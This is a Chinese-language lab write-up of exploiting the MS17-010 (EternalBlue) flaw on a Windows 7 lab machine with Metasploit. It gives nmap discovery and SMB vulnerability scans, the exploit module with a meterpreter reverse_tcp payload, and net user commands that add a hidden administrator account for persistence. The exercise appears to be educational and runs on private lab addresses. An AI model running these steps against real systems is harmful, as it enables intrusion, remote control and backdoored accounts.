使用MSF Console实现MS17-010漏洞利用

实验内容

       使用Kali的Metasploit Framework Console(MSF Console)工具实现Windows 7 Professional下MS17-010（永恒之蓝）漏洞利用。

实验设备

• 目标主机：Windows 7 Professional SP1
• 攻击主机：Linux version 5.10.0-Kali5-amd64

实验过程记录

信息收集

获取攻击主机IP和局域网网段

       使用ifconfig命令获取攻击主机IP和局域网网段。

ifconfig

       得知局域网网段为192.168.182.0/24。

扫描局域网段，获取目标主机IP

       使用以下命令扫描局域网段，获取目标主机IP。

nmap -sS -Pn 192.168.182.0/24

       观察到192.168.182.133开放了较多端口，确定其为目标主机。

端口扫描以及查看目标主机操作系统信息

       使用以下命令进行端口扫描并查看目标主机操作系统信息。

nmap -A 192.168.182.133

       观察到目标主机操作系统为Windows 7 Professional SP1。

漏洞扫描

       使用以下命令进行漏洞信息扫描。

nmap -P0 --script=smb-vuln-* 192.168.182.133

       发现目标主机存在高危漏洞MS17-010（永恒之蓝）漏洞。

漏洞利用

       漏洞利用使用到了Kali Linux平台下的工具Metasploit Framework Console(MSF Console)。使用以下命令打开Metasploit Framework Console工具。

sudo msfconsole

查找并选用Exploit和Payload

       使用以下命令查找并选用Exploit和payload。此处，我们使用了一个反弹TCP（reverse_tcp）的攻击荷载。

search 17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp

设置参数

       使用show options命令可以查看攻击实现所需的参数。
       观察到LHOST和RHOST为所需参数，使用以下命令设置参数。

set lhost 192.168.182.131
set rhost 192.168.182.133

运行Exploit

       使用以下命令运行Exploit。

run

       观察到返回到meterpreter会话，说明攻击成功。

权限提升与权限维持

       使用getuid命令观察系统权限，发现当前已经拿到System权限，并不需要提权了。
       拿到System权限就可以很容易地进行后续的权限维持了（例如上传木马、添加管理员等）。

添加隐藏管理员用户

net user root$ root /add
net localgroup administrators root$ /add